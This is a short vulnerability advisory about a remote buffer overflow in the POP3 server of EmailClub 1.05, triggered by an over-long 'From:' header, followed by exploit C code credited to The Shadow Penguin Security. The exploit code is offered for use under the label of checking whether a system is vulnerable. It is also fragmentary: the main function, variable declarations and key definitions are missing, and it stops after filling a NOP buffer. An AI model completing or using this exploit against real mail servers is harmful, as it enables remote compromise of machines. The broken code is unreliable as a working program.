EmailClub, a mail server package by Admiral Systems Inc. is vulnerable to a remote buffer overflow. This overflow is exploitable via EmailClub's POP3 server, which fails to perform proper bounds checking on the 'From:' header on incoming e-mail.
This overflow can lead to a complete compromise of the Windows 95/98 target machine. It may also affect Windows NT installations in the same manner. It is unclear though if EmailClub runs with ADMIN privileges under Windows NT installations.
Vulnerable systems:
Admiral Systems Inc. EmailClub 1.05
The following exploit code can be used to verify whether you are vulnerable to the mentioned security vulnerability:
/*==========================================================
E-MailClub Ver1.0.0.5 for Windows98J exploit
The Shadow Penguin Security (http://shadowpenguin.backsection.net)
Written by UNYUN (shadowpenguin@backsection.net)
=========================================================================
*/
#include <stdio.h>
#include <string.h>
#define HD1 \
"From exploit Wed Oct 27 01:53 JST 1999\n"\
"Date: Wed, 27 Oct 1999 01:53:00 +0900\n"
if (argc!=2){
printf("usage: %s mailspool\n",argv[0]);
exit(1);
}
if ((fp=fopen(argv[1],"wb"))==NULL){
printf("Can not write to %s\n",argv[1]);
exit(1);
}
memset(buf,NOP,MAXBUF);
buf[MAXBUF-1]=0;
